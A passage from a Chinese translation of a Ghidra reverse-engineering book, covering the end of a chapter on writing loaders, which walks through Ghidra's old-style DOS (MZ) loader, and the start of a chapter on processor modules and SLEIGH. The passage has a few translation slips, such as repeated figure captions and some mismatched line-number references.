我们使用raw.dat做了一个小实验,通过完全理解的文件来一步步理解加载器的基本原理。现在,让我们尝试一些稍微复杂一点的东西!

为了提供一个更现实的示例,让我们加载之前在第五章中分析0x004554E0函数时展示的 Alina 恶意软件的 Shellcode,使用 Ghidra 进行恶意软件逆向分析一节中的深入分析部分。

由于未被识别,我们必须手动设置 Shellcode 的编写语言:

图 11.2 – 为原始二进制选择语言和编译器

图 11.2 – 为原始二进制选择语言和编译器

你还可以为导入的文件设置目标文件夹程序名称,这些将在将文件导入项目时使用。

最后,你可以通过点击选项…来仅导入文件的一个块,如下截图所示。它显示了一个菜单,允许你选择块名称(该数据块的名称)、基址,表示块将从哪个内存地址开始或放置,最后是文件偏移量,表示该块在导入文件中的位置以及块的长度。

该块将通过在输入框中输入shellcode来标记。如果勾选应用处理器定义标签框,导入器将在处理器指定的某些地址创建标签。另一方面,即使以后更改了图像基址,如果勾选了锚定处理器定义标签框,这些标签也不会被移动:

图 11.3 – 加载原始二进制块

图 11.3 – 加载原始二进制块

你还可以通过访问 Ghidra 的 CodeBrowser 中的窗口 | 内存映射选项,添加、删除或编辑内存块:

图 11.4 – 添加、删除和编辑内存块

图 11.4 – 添加、删除和编辑内存块

如下截图所示,如果 Ghidra 无法识别文件格式,你将不得不手动执行大量工作。在这种情况下,你需要将字节定义为代码或字符串,创建符号等等:

图 11.5 – 加载为原始二进制的 Alina 恶意软件 Shellcode

图 11.5 – 加载为原始二进制的 Alina 恶意软件 Shellcode

不必手动完成,你可以通过开发一个加载器来扩展 Ghidra 以支持这种格式。让我们看看下一部分是如何做到的。

理解格式化的二进制文件

可执行二进制文件是格式化的二进制文件;因此,它们的导入器必须考虑到格式结构进行导入。为了理解这一点,我们先生成并查看一个旧的 MS-DOS 可执行文件,因为它会生成一个轻量级的二进制文件,而且由于旧的 MS-DOS 可执行文件结构并不复杂,它是一个非常好的实际例子。我们这个hello world旧 MS-DOS 可执行程序(mz.asm文件)的代码,用汇编语言写成,内容如下:

00 format MZ
01 
02 mov ah, 9h
03 mov dx, hello
04 int 21h
05
06 mov ax, 4c00h
07 int 21h
08
09 hello db 'Hello, world!', 13, 10, '$'

00告诉编译器这是一个旧的 MS-DOS 程序。在04行,我们触发了一个中断,21h(大多数 DOS API 调用是通过中断21h进行的),它在ah寄存器中接收9h作为参数(02行),表示程序必须将由dx03行)引用的消息打印到stdout,该消息位于09行。

最后,程序结束,将控制权交给操作系统。这是通过将对应的值传递给ax寄存器,指示程序必须结束执行(06行),并再次触发21h中断来完成的。让我们使用fasm编译程序:

C:\Users\virusito\loaders> fasm mz.asm
flat assembler  version 1.73.04  (1048576 kilobytes memory)
2 passes, 60 bytes.

通过编译程序,我们得到了一个mz.exe文件。为了展示格式,我使用了 HexIt v.1.57,这是一个十六进制编辑器,当按下F6时,它会解析旧的 DOS 可执行文件头。

在下图中,你可以看到 DOS .EXE 头。每行以头字段的偏移量开始,字段名称之后是其值。例如,在文件的最开始(偏移[00]),我们有Signature,其值为MZ

图 11.6 – 在 HexIt v1.57 中显示 DOS .EXE 头

图 11.6 – 在 HexIt v1.57 中显示 DOS .EXE 头

Ghidra 包括一个加载器,能够解析这些旧式 DOS 可执行文件(MZ)二进制文件,因此,当你将这个文件拖入 Ghidra 时,语言和格式都会被识别:

图 11.7 – 将旧式 DOS 可执行文件(MZ)导入 Ghidra

图 11.7 – 将旧式 DOS 可执行文件(MZ)导入 Ghidra

如下图所示,当这个格式化的二进制文件被 Ghidra 的 CodeBrowser 加载时,程序的入口点成功被检测到。地址和许多有用的信息会自动提供给你:

图 11.8 – Ghidra 成功加载了旧式 DOS 可执行文件(MZ),并且它的反汇编与我们的源代码匹配

图 11.8 – Ghidra 成功加载了旧式 DOS 可执行文件(MZ),并且它的反汇编与我们的源代码匹配

在接下来的部分,我们将概述如何实现这个旧式 DOS 可执行文件(MZ)加载器。

开发 Ghidra 加载器

加载器是一个 Ghidra 扩展模块,继承自AbstractLibrarySupportLoader类。该类具有以下方法:getNamefindSupportedLoadSpecsload,如果支持自定义选项,还可以有getDefaultOptionsvalidateOptions方法。

我假设你已经熟悉加载器和这些方法,因为它们在第四章《使用 Ghidra 扩展》中已有简要概述。

旧式 DOS 可执行文件(MZ)解析器

现有的 Ghidra MZ 文件加载器必须能够解析旧式 DOS 可执行文件(MZ),就像我们在本章的格式化二进制文件部分中使用HexIt v.1.57一样。为了实现这一点,Ghidra 实现了一个针对这类二进制文件的解析器,可以在此找到:github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/Base/src/main/java/ghidra/app/util/bin/format/mz

该链接包含三个文件:

  • DOSHeader.java:一个实现旧式 DOS 可执行文件解析器的文件。它依赖于StructConverter类来创建与DOSHeader类成员等效的结构数据类型。

  • OldStyleExecutable.java:一个使用FactoryBundledWithBinaryReader从通用字节提供者读取数据并将其传递给DOSHeader类以进行解析的类。OldStyleExecutable类通过 getter 方法公开了DOSHeader和底层的FactoryBundledWithBinaryReader对象。

  • package.html:该目录内容的简短描述。

    相关解析器类

    你可以在此找到StructConverter的文档:ghidra.re/ghidra_docs/api/ghidra/app/util/bin/StructConverter.html。你可以在此找到FactoryBundledWithBinaryReader的文档:ghidra.re/ghidra_docs/api/ghidra/app/util/bin/format/FactoryBundledWithBinaryReader.html

在编写你自己的加载器时,可以将你的解析器放入 Ghidra 的format目录(Ghidra/Features/Base/src/main/java/ghidra/app/util/bin/format),这些解析器将作为*.jar*.src文件包含在你的 Ghidra 分发版中。

旧式 DOS 可执行文件(MZ)加载器

在实现此格式的解析器后,加载器本身在此实现,从AbstractLibrarySupportLoader扩展:github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/src/main/java/ghidra/app/util/opinion/MzLoader.java

让我们看看这个类是如何实现的。

getTierPriority 方法

这个加载器定义了一个优先级为 60 的层级优先级,低于 PE(可移植执行文件)层级优先级。这样做是为了防止 PE 文件被当作 MZ 文件加载。这种情况可能发生,因为 PE 文件格式在开头包含一个 MZ 存根。另一方面,MZ 文件无法被 PE 加载器加载:

@Override
public int getTierPriority() {
  return 60; // we are less priority than PE!  Important for 
             // AutoImporter
}

这是一种简单的方法,但同样重要。

getName 方法

如前所述,必须实现 getName 方法,允许我们在导入文件时显示加载器的名称:

public class MzLoader extends AbstractLibrarySupportLoader {
  public final static String MZ_NAME = "Old-style DOS " +
                                       "Executable (MZ)";
  @Override
  public String getName() {
    return MZ_NAME;
  }

返回的名称必须足够描述性,考虑到用户的视角。

findSupportedLoadSpecs 方法

通过实现 findSupportedLoadSpecs 方法来加载加载器规范,该方法查询意见服务(ghidra.re/ghidra_docs/api/ghidra/app/util/opinion/QueryOpinionService.html#query(java.lang.String,java.lang.String,java.lang.String)。

query 方法接收加载器的名称作为第一个参数,主键作为第二个参数,最后是次键:

List<QueryResult> results = QueryOpinionService.query(
                                          getName(),
                                          "" + dos.e_magic(), 
                                          null
);

意见服务从 *.opinion 文件中检索加载器规范(github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Processors/x86/data/languages/x86.opinion)。意见文件包含约束条件,允许您确定文件是否可以加载:

<constraint loader="Old-style DOS Executable (MZ)"
                                  compilerSpecID="default">
  <constraint primary="23117" processor="x86" endian="little" 
                             size="16" variant="Real Mode"/>
</constraint>

简短格式的意见文档可以在此查看:github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Framework/SoftwareModeling/data/languages/Steps%20to%20creation%20of%20Format%20Opinion.txt

无论如何,XML 属性是自解释的。

加载方法

最后,load 方法做了将文件加载到 Ghidra 中的繁重工作。让我们来分析代码。加载器开始从正在分析的程序中获取信息:

  1. 它通过调用 MemoryBlockUtils.createFileBytes 函数(0914 行)获取正在分析的文件的字节:

    00 @Override
    01 public void load(ByteProvider provider,
    02                  LoadSpec loadSpec, 
    03                  List<Option> options,
    04                  Program prog, 
    05                  TaskMonitor monitor,
    06                  MessageLog log) 
    07               throws IOException, CancelledException {
    08
    09   FileBytes fileBytes = 
    10               MemoryBlockUtils.createFileBytes(
    11                                              prog, 
    12                                              provider,
    13                                              monitor
    14   );
    

    调用 MemoryBlockUtils.createFileBytes() 的结果是 fileBytes 变量,包含文件的所有字节。

  2. 它创建一个地址空间来处理 Intel 分段的地址空间。简而言之,Intel 内存分段允许您隔离内存区域,从而提供安全性。由于分段,一个内存地址由一个段寄存器(例如 CS 寄存器)指向内存的某个段(例如 代码段)和一个偏移量组成。为 Intel 分段的地址空间创建一个地址空间的任务分两步完成:

    a. 首先,它获取当前程序语言的地址工厂(第15行):

    15   AddressFactory af = prog.getAddressFactory();
    16   if (!(af.getDefaultAddressSpace() instanceof 
    17      SegmentedAddressSpace)) {
    18      throw new IOException(
    19            "Selected Language must have a" +
    20            "segmented address space.");
    21   }
    

    getAddressFactory()的结果是af,它是一个AddressFactory对象,预计是一个分段地址空间。通过instanceof运算符进行检查。

    b. 接下来,它通过地址工厂获取分段地址空间(第2324行):

    22
    23 SegmentedAddressSpace space = 
    24   (SegmentedAddressSpace) af.getDefaultAddressSpace();
    
  3. 在创建地址空间后,它检索了25)以及处理器寄存器上下文(第26行):

    25   SymbolTable symbolTable = prog.getSymbolTable();
    26   ProgramContext context = prog.getProgramContext();
    
  4. 最后,它获取程序的内存(第27行):

    27   Memory memory = prog.getMemory();
    
  5. 通过使用旧式 DOS 可执行文件(MZ)解析器(第28行),加载器获得了 DOS 头(第34行)和读取器(第3536行),使其能够从通用提供程序中读取字节:

    28
    29   ContinuesFactory factory = 
    30                MessageLogContinuesFactory.create(log);
    31   OldStyleExecutable ose = new OldStyleExecutable(
    32                                         factory,
    33                                         provider);
    34   DOSHeader dos = ose.getDOSHeader();
    35   FactoryBundledWithBinaryReader reader = 
    36                                 ose.getBinaryReader();
    37
    

在获取了有关可执行文件的所有上述信息后,加载操作开始执行。由于操作是长任务,因此每个操作前都会调用monitor.isCancelled(),使其能够取消加载过程(第3843475155行),并且用户在开始操作时会通过monitor.setMessage()调用(第3944485256行)收到通知:

38   if (monitor.isCancelled()) return;

在接下来的部分中,我们将依次讨论以下操作,以深入理解load函数:

  1. processSegments()(第34行):

    39   monitor.setMessage("Processing segments...");
    40   processSegments(prog, fileBytes, space, reader, dos, 
    41                   log, monitor);
    42
    
  2. adjustSegmentStarts()(第39行):

    43   if (monitor.isCancelled()) return;
    44   monitor.setMessage("Adjusting segments...");
    45   adjustSegmentStarts(prog);
    46 
    
  3. doRelocations()(第43行):

    47   if (monitor.isCancelled()) return;
    48   monitor.setMessage("Processing relocations...");
    49   doRelocations(prog, reader, dos);
    50 
    51   if (monitor.isCancelled()) return;
    
  4. createSymbols()(第47行):

    52   monitor.setMessage("Processing symbols...");
    53   createSymbols(space, symbolTable, dos);
    54 
    55   if (monitor.isCancelled()) return;
    
  5. setRegisters()(第56行):

    56   monitor.setMessage("Setting registers...");
    57 
    58   Symbol entrySymbol = 
    59      SymbolUtilities.getLabelOrFunctionSymbol(
    60        prog, ENTRY_NAME, err -> log.error("MZ", err));
    61   setRegisters(context, entrySymbol,
    62                memory.getBlocks(), dos);
    63 }
    

在回顾load函数执行的调用序列后,我们将逐一详细分析每个调用。接下来的部分将首先讨论程序段是如何被处理的。

处理段

processSegments()函数处理程序段。以下代码片段展示了它如何计算段。代码片段通过dos.e_cs()从 DOS 头提取代码段相对地址,如第04行所示,并且由于该地址是相对于程序加载所在的段(在本例中为csStart,其值等于INITIAL_SEGMENT_VAL常量,如第00行所示),它将csStart的值加到该地址上,如第04行再次所示:

00 int csStart = INITIAL_SEGMENT_VAL;
01 HashMap<Address, Address> segMap = new HashMap<Address,
02                                                Address>();
03 SegmentedAddress codeAddress = space.getAddress(
04                  Conv.shortToInt(dos.e_cs()) + csStart, 0);

在计算完段地址后,processSegments()使用 Ghidra 的MemoryBlockUtils.createInitializedBlock()(第01行)和MemoryBlockUtils.createUninitializedBlock()(第09行)API 方法来创建先前计算出的段(内存区域):

00 if (numBytes > 0) 
01   MemoryBlockUtils.createInitializedBlock(
02                           program, false, "Seg_" + i,
03                           start, fileBytes, readLoc,
04                           numBytes, "", "mz", true,
05                           true, true, log
06   );
07 }
08 if (numUninitBytes > 0) {
09   MemoryBlockUtils.createUninitializedBlock(
10                           program, false, "Seg_" + i + "u",
11                           start.add(numBytes),
12                           numUninitBytes, "", "mz", true,
13                           true, false, log
14   );
15 }

由于段处理不精确,因此需要进行一些调整。在下一部分中,我们将讨论如何调整这些段。

调整段开始位置

负责段调整的函数是adjustSegmentStarts()。它接收prog程序对象作为参数(Program类的一个对象)。它还通过prog.getMemory()(第00行)获取程序的内存,并通过getBlocks()方法(第01行)访问其内存块:

00 Memory mem = prog.getMemory();
01 MemoryBlock[] blocks = mem.getBlocks();

调整段的方式是检查当前块的起始字节(0x10 字节)是否包含远程返回(FAR_RETURN_OPCODE,如第 00 行所示),如果包含,则通过远程返回(第 03 行)将其与前面的代码一起附加到前一个内存块中(第 04 行):

00 if (val == FAR_RETURN_OPCODE) {
01   Address splitAddr = offAddr.add(1);
02   String oldName = block.getName();
03   mem.split(block, splitAddr);
04   mem.join(blocks[i - 1], blocks[i]);
05   blocks = mem.getBlocks();
06   blocks[i].setName(oldName);
07  }

现在我们已经讲解了段的调整,接下来我们将看到代码如何加载。

代码重定位

代码重定位使我们能够加载位置相关代码的地址,调整代码和数据。它通过 doRelocations() 函数实现,该函数使用 DOSHeadere_lfarlc() 方法检索 MZ 重定位表的地址(第 01 行)。通过使用 e_crlc(),它还检索构成重定位表的条目数量(第 02 行)。

对于每个条目(第 03 行),段和相对于段的偏移量(第 0405 行)可以计算位置(第 07 行),该位置相对于程序加载的段(第 08 行):

00  int relocationTableOffset =
01                          Conv.shortToInt(dos.e_lfarlc());
02  int numRelocationEntries = dos.e_crlc();
03  for (int i = 0; i < numRelocationEntries; i++) {
04    int off = Conv.shortToInt(reader.readNextShort());
05    int seg = Conv.shortToInt(reader.readNextShort());
06  
07    int location = (seg << 4) + off;
08    int locOffset = location + dataStart;
09  
10    SegmentedAddress fixupAddr = space.getAddress(
11                                        seg + csStart, off
12    );
13    int value = Conv.shortToInt(reader.readShort(
14                                                 locOffset
15                                                 )
16    );
17    int fixupAddrSeg = (value + csStart) & Conv.SHORT_MASK;
18    mem.setShort(fixupAddr, (short) fixupAddrSeg);
19  }

代码加载完成后,我们还可以创建有用的符号来引用它。在下一节中,我们将概述如何创建符号。

创建符号

createSymbols() 函数创建程序的入口点符号。为此,它使用两个 DOSHeader 方法,e_ip()(第 00 行)和 e_cs()(第 0102 行),它们的值是相对于程序加载的段:

00  int ipValue = Conv.shortToInt(dos.e_ip());
01  int codeSegment = Conv.shortToInt(dos.e_cs()) +
02                                    INITIAL_SEGMENT_VAL;

通过使用 e_ip(),程序获取 IP 起始值(相对于代码段的入口点偏移量),而代码段通过 e_cs() 获取。通过调用 SegmentedAddressSpacegetAddress() 方法,并将 IPCS 值传给它,它可以检索入口点的地址(第 00 行)。最后,使用 SymbolTable 类的 createLabel() 方法(第 0102 行)为入口点创建标签,并将入口点符号(第 03 行)添加到程序中:

00  Address addr = space.getAddress(codeSegment, ipValue);
01  symbolTable.createLabel(addr, ENTRY_NAME, 
02                          SourceType.IMPORTED);
03  symbolTable.addExternalEntryPoint(addr);

创建入口点符号后,我们来看一下如何设置段寄存器。

设置寄存器

程序寄存器由 setRegisters() 函数设置,该函数通过调用 ProgramContextgetRegister() 方法获取栈和段寄存器对象(ssspdscs)。然后,它通过 setValue() 方法将从 DOS 头中提取的值设置到寄存器对象中。

以下代码片段说明了如何检索 ss 寄存器(第 00 行)并将从 MZ 头中检索到的相应值(第 04 行)设置给它(第 01 行):

00  Register ss = context.getRegister("ss");
01  context.setValue(ss, entry.getAddress(), 
02                   entry.getAddress(), 
03                   BigInteger.valueOf(
04                               Conv.shortToLong(dos.e_ss())
05                   )
06  );

MzLoader 源代码

在前面的代码片段中,为了专注于关键方面和相关部分,省略了许多实现细节。如果你想深入了解详情,请访问此链接:github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/src/main/java/ghidra/app/util/opinion/MzLoader.java

正如你所注意到的,加载器开发的复杂性在很大程度上取决于二进制格式。我们通过分析一个真实的例子来学习加载器,因此,这里展示的代码复杂性是真实世界的复杂性。

理解文件系统加载器

Ghidra 还允许我们加载文件系统。文件系统本质上是归档文件(包含其他文件的文件):

图 11.9 – 一个名为 hello_world.zip 的文件作为文件系统导入

图 11.9 – 一个名为 hello_world.zip 的文件作为文件系统导入

Ghidra 实现的一个很好的文件系统加载器示例是 ZIP 压缩格式加载器,可以在这里找到:github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/zip

要开发一个文件系统,你需要实现 GFileSystem 接口,并包含以下方法:getDescriptiongetFileCountgetFSRLgetInfogetInputStreamgetListinggetNamegetRefManagergetTypeisClosedisStaticlookupclose

文件系统资源定位符

GFileSystem 接口的一个显著方法是 getFSRL,它允许你检索 文件系统资源定位符 (FSRL)。FSRL 是一个字符串,允许 Ghidra 访问存储在文件系统中的文件和目录:

  • 访问本地文件系统中文件的 FSRL:file://directory/subdirectory/file

  • 访问位于 ZIP 压缩文件中的文件的 FSRL:file://directory/subdirectory/example.zip|zip://file

  • 访问嵌套文件系统中文件的 FSRL(例如,存储在 zip 文件中的 tar):file://directory/subdirectory/example.zip|zip:// directory/nested.tar|tar://file

  • 访问文件并检查其 MD5 的 FSRL:file://directory/subdirectory/example.zip?MD5=6ab0553f4ffedd5d1a07ede1230c4887|zip://file?MD5=0ddb5d230a202d20a8de31a69d836379

  • 另一个显著的方法是 getRefManager,它允许访问 GFileSystem,但通过 close 方法阻止其关闭。

  • 最后,FileSystemService 可以用来实例化文件系统。

    文件系统加载器

    如果你想了解更多关于加载器的内容,请查看以下官方文档链接:

    ghidra.re/ghidra_docs/api/ghidra/formats/gfilesystem/GFileSystem.html

    ghidra.re/ghidra_docs/api/ghidra/formats/gfilesystem/FSRL.html

    ghidra.re/ghidra_docs/api/ghidra/formats/gfilesystem/FileSystemService.html

这是文件系统加载器的实现方式。如果你想进一步了解详细信息,请记得查看 ZIP 文件系统的实现。

总结

在本章中,你学习了什么是二进制文件,以及它如何被二分为原始二进制文件或格式化二进制文件,你还了解到任何格式化的二进制文件也是原始二进制文件。

你通过加载原始二进制文件和格式化二进制文件,学习了 Ghidra 文件导入的技能。这项新技能使你能够在加载文件时配置更好的选项,并在必要时手动进行一些调整。

你还通过从头开始编写一个用汇编语言编写的hello world程序,并通过十六进制编辑器分析它,了解了旧式 DOS 可执行文件格式。

最后,你学习了如何通过新增加载器和文件系统来扩展 Ghidra,允许你导入不支持的和冷门的二进制格式以及归档文件。你通过分析旧式 DOS 可执行文件格式加载器,开始了这个很好的实际案例学习。

在下一章,我们将讨论 Ghidra 中的一个高级话题,即处理器模块开发。这项技能将使你能够将不支持的处理器集成到 Ghidra 中。它包括在高级二进制混淆中常用的虚拟化处理器。除此之外,你还将在这个过程中学到很多关于反汇编器的知识。

问题

  1. 原始二进制文件和格式化二进制文件有什么区别?

  2. 考虑到任何格式化的二进制文件也是原始二进制文件,为什么还需要格式化的二进制文件呢?

  3. 什么是旧式 DOS 可执行文件?是什么软件组件组成了使 Ghidra 能够支持它的加载器?

进一步阅读

你可以参考以下链接,获取有关本章讨论主题的更多信息:

第十二章:第十二章:分析处理器模块

在本章中,我们将讨论如何在 Ghidra 中集成新的处理器模块。这是一个涉及学习Ghidra 编码和解码规范语言SLEIGH)的高级主题,以便我们可以指定语言、反汇编代码、通过序言和尾声字节模式匹配执行函数识别、创建堆栈帧以及生成函数交叉引用。

在本章中,您将学习到分解高级逆向工程保护所需的极其有用的技能。您将通过实现一个虚拟机来实现这一点,以便对手(即您)在逆向工程原始二进制文件之前必须先对虚拟机应用逆向工程。本章涉及多个恶意软件示例(例如 ZeusVM、KINS 等)和基于虚拟化的强大软件保护(例如 VMProtect、Denuvo 等)。

SLEIGHSLED

SLEIGH,Ghidra 处理器规范语言,其起源于编码和解码规范语言SLED),描述了机器指令的抽象、二进制和汇编语言表示。如果您想了解更多关于 SLEIGH 的内容,这是一个广泛的主题,请查看以下链接:ghidra.re/courses/languages/html/sleigh.html。如果您想了解更多关于 SLED 的内容,请查看以下链接:www.cs.tufts.edu/~nr/pubs/specifying.html

我们将首先概述现有的广泛的 Ghidra 处理器模块列表及其在 Ghidra 中的使用方式。最后,我们将从 Ghidra 开发者的角度分析x86 处理器模块。正在分析的加载程序负责启用 Ghidra,以便我们可以理解其 x86 架构及其变体(例如,16 位实模式)。与前一章节一样,我们将查看一个真实世界的例子来帮助我们理解。

在本章中,我们将涵盖以下主题:

  • 理解现有的 Ghidra 处理器模块

  • Ghidra 处理器模块的框架

  • 开发 Ghidra 处理器

让我们开始吧!

技术要求

本章的技术要求如下:

查看以下链接以查看代码演示视频:bit.ly/2VQjNFt

了解现有的 Ghidra 处理器模块

本节将从用户的角度提供 Ghidra 处理器模块的概述。Ghidra 支持许多处理器架构。您可以通过列出 Ghidra/Processors/ 目录中包含的目录,来查看支持的架构列表,该目录位于 Ghidra 的发行版和 Ghidra 的 GitHub 仓库(https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Processors)中,如下图所示:

图 12.1 – 列出 Ghidra 的处理器模块(部分列表)

图 12.1 – 列出 Ghidra 的处理器模块(部分列表)

在撰写本书时,Ghidra 支持以下处理器列表:6502680006805804880518085AARCH64ARMAtmelCP1600CR16DATADalvikHCS08HCS12JVMM8CMCS96MIPSPA-RISCPICPowerPCRISCVSparcSuperHSuperH4TI_MSP430ToyV850Z80tricorex86。如果我们将这个列表与 IDA 专业版的处理器支持进行比较,我们会发现 IDA 支持更多的处理器,尽管它没有提供 Ghidra 支持。但如果将 Ghidra 与 IDA 家庭版进行比较,我们会注意到 Ghidra 支持更多的架构,包括一些非常常见的架构,例如 Dalvik(Android 使用的已停用虚拟机)和 Java 虚拟机 (JVM)。

以加载 x86 架构的二进制文件为例,您可能还记得 第十一章融合新的二进制格式,当加载文件时,您可以通过点击语言旁边的省略号按钮 (),来选择文件的显示语言,如下图所示:

图 12.2 – 导入 PE 文件时的默认语言变体

图 12.2 – 导入 PE 文件时的默认语言变体

完成这个后,我取消选中了仅显示推荐的语言/编译器规格,以便显示所有可用的语言和编译器。通过这样做,我可以看到 x86 处理器模块实现了八个变体:

图 12.3 – 导入文件时选择适当的语言变体

图 12.3 – 导入文件时选择适当的语言变体

让我们分析处理器模块的结构,以了解这些变体如何与 tree 命令相关,以提供 x86 处理器和分析器的目录结构概览。

data 目录包含了 x86 处理器模块:

C:\Users\virusito\ghidra\Ghidra\Processors\x86>tree
├───data
│   ├───languages
│   │   └───old
│   ├───manuals
│   └───patterns

正如你所见,有三个子文件夹在实现它:

  • languages:这个负责使用不同类型的文件实现 x86 处理器,所有这些文件稍后都会解释 (*.sinc, *.pspec, *.gdis, *.dwarf, *.opinion, *.slaspec, *.spec, 和 *.ldefs)。

  • manuals:处理器的手册文档存储在这里,使用 *.idx Ghidra 格式。这个索引了原始 PDF 的信息,因此允许你查询文档。

  • patterns:字节模式存储在 XML 文件中,用于确定导入文件是否是为 x86 架构开发的。

src 目录包含了 x86 分析器。你可能还记得分析器扩展是从 The Ghidra Extension Module Skeleton 章节中的 第四章**,使用 Ghidra 扩展 中介绍的。这些扩展允许我们扩展 Ghidra 的代码分析功能:

└───src
    ├───main
    │   └───java
    │       └───ghidra
    │           ├───app
    │           │   ├───plugin
    │           │   │   └───core
    │           │   │       └───analysis
    │           │   └───util
    │           │       └───bin
    │           │           └───format
    │           │               ├───coff
    │           │               │   └───relocation
    │           │               └───elf
    │           │                   ├───extend
    │           │                   └───relocation
    │           └───feature
    │               └───fid
    │                   └───hash
    └───test.processors
        └───java
            └───ghidra
                └───test
                    └───processors

分析器扩展的主文件是 X86Analyzer Java 类文件(完整路径:Ghidra\Processors\x86\src\main\java\ghidra\app\plugin\core\analysis\X86Analyzer.java)。这个类扩展自 ConstantPropagationAnalyzer(完整路径:Ghidra/Features/Base/src/main/java/ghidra/app/plugin/core/analysis/ConstantPropagationAnalyzer.java),它本身扩展自 AbstractAnalyzer(在编写分析器扩展时必须直接或间接扩展的类)。

在这一部分,你了解了现有处理器和分析器以及它们的源代码结构。在下一部分中,我们将探讨如何创建一个新的处理器模块。

查看 Ghidra 处理器模块的框架

在这一部分,我们将看一下 Ghidra 处理器模块的框架。这个框架会有一点不同,因为处理器模块不是用 Java 编写的。相反,处理器模块是用 SLEIGH 编写的,这是 Ghidra 处理器规范语言。

设置处理器模块开发环境

在创建新的处理器模块之前,你需要设置一个环境:

  1. 安装 x86_64 的 Java JDK,如 第三章 中所述,Ghidra 调试模式,在 安装 Java JDK 部分。

  2. 安装 Java 开发人员的 Eclipse IDE,如 第三章 中所述,Ghidra 调试模式,在 安装 Eclipse IDE 部分。

  3. 安装 GhidraDev 插件到 Eclipse,如 第三章 中所述,Ghidra 调试模式,在 安装 GhidraDev 部分。

  4. 另外,与安装GhidraDev的方式相同,因为你需要使用 SLEIGH 来开发处理器的规格,强烈建议你也安装GhidraSleighEditor

GhidraSleighEditor的安装过程与GhidraDev相同,因为两者都是 Eclipse 插件。它是一个可以从 Eclipse IDE 安装的 ZIP 文件,你可以在 Ghidra 安装的Extensions\Eclipse\GhidraSleighEditor目录中找到简单的安装指南(GhidraSleighEditor_README.html)和插件安装程序(GhidraSleighEditor-1.0.0.zip):

图 12.4 – Eclipse IDE 的 GhidraSleighEditor 插件

图 12.4 – Eclipse IDE 的 GhidraSleighEditor 插件

在下一节中,我们将学习如何创建处理器模块骨架。

创建处理器模块骨架

正如你可能还记得的第四章使用 Ghidra 扩展,要创建处理器模块,你必须点击ProcessorModuleProject,如下面的截图所示:

图 12.5 – 创建 Ghidra 项目

图 12.5 – 创建 Ghidra 项目

点击下一步 >后,只需勾选最后一个选项 – 处理器 – 启用处理器/架构的反汇编/反编译 – 以创建处理器模块骨架:

图 12.6 – 配置 Ghidra 项目以包含处理器模块骨架

图 12.6 – 配置 Ghidra 项目以包含处理器模块骨架

点击完成后,你将在 Eclipse 的包资源管理器部分看到处理器骨架:

图 12.7 – 处理器模块骨架

图 12.7 – 处理器模块骨架

组成骨架的所有文件都存储在data\languages目录中。由于每个文件都有自己的规格目标,让我们更详细地看一下它们:

正如我们之前提到的,SLEIGH 是一个广泛的主题,所以如果您想了解更多,请阅读您的 Ghidra 发行版中提供的文档(docs\languages\html\sleigh.html)。

现在您已经安装了 SLEIGH 编辑器,您可以通过右键单击目标文件,选择打开方式 | 其他…,然后选择Sleigh 编辑器来编辑所有上述文件:

图 12.8 – 在 Eclipse 中使用其他编辑器打开文件

图 12.8 – 在 Eclipse 中使用其他编辑器打开文件

如果您愿意,您还可以将此作为一个机会,通过在单击确定之前选中用于所有'*.cspec'文件选项来关联*.cspec文件:

图 12.9 – 选择 Sleigh 编辑器在 Eclipse 中打开文件

图 12.9 – 选择 Sleigh 编辑器在 Eclipse 中打开文件

当您被要求将项目转换为 Xtext 项目时,请选择。同时,通过选中记住我的决定复选框,使计算机记住这个决定,如下截图所示:

图 12.10 – 将项目转换为 Xtext 项目对话框

图 12.10 – 将项目转换为 Xtext 项目对话框

我们通过提供现有处理器模块(x86 处理器)的概述并从 Ghidra 用户的角度进行分析来开始本节。您浅显地探索了组成它的代码文件,以便理解处理器模块的整体情况。之后,您学会了如何设置处理器模块开发环境和处理器模块骨架,以便开始开发新的处理器模块。

在接下来的部分中,我们将探讨第一节中查看的 x86 处理器是如何实现的,现有处理器模块,以便深入了解其实现细节。

开发 Ghidra 处理器

如你所知,Ghidra 处理器模块的开发涉及许多不同的文件,这些文件位于模块的data目录中。这些文件在清单中列出(github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Processors/x86/certification.manifest):

图 12.11 – certification.manifest 的部分内容转储

图 12.11 – certification.manifest 的部分内容转储

在下一节中,我们将查看 Ghidra 的处理器文档文件及其与官方处理器文档的关系。

处理器文档

x86 处理器的manuals目录存储着x86.idx文件(github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Processors/x86/data/manuals/x86.idx),该文件包含了该架构的官方指令集参考的索引版本(software.intel.com/sites/default/files/managed/a4/60/325383-sdm-vol-2abcd.pdf)。这个索引版本使得 Ghidra 在逆向过程中从 Ghidra 的图形用户界面中检索指令信息时能够访问这些信息。以下代码片段是x86.idx文件开头的一些行。它们与处理器指令及其文档页有关(例如,01行与AAA处理器指令相关,这可以在官方文档的120页找到):

00  @325383-sdm-vol-2abcd.pdf [Intel 64 and IA-32 Architectures Software Developer's Manual Volume 2 (2A, 2B, 2C & 2D): Instruction Set Reference, A-Z, Oct 2019 (325383-071US)]
01  AAA, 120
02  AAD, 122
03  BLENDPS, 123
04  AAM, 124
05  AAS, 126
06  ADC, 128
07  ADCX, 131
08  ADD, 133
...................... File cut here .........................

在下一节中,我们将学习如何编写签名,以便 Ghidra 能够识别此架构的函数和代码片段。

使用模式识别函数和代码

还有一个patterns目录,在该目录中,使用 XML 语言指定的模式用于函数和代码的识别。该目录通过考虑不同的编译器来实现这一点。模式文件的格式(例如,github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Processors/x86/data/patterns/x86gcc_patterns.xml)是一个以patternlist标签开始和结束的 XML 文件:

00  <patternlist>
01    … patters here …
02  </patternlist>

你可以添加模式,允许分析器识别函数和代码。在以下示例中,来自 x86 GCC 模式文件(x86gcc_patterns.xml),我们可以看到一个使用pattern标签的模式。该模式本身以十六进制字节表示。为了帮助你理解,右侧添加了一个注释,指示这些字节的含义(在这种情况下,这是一个函数的前奏)。

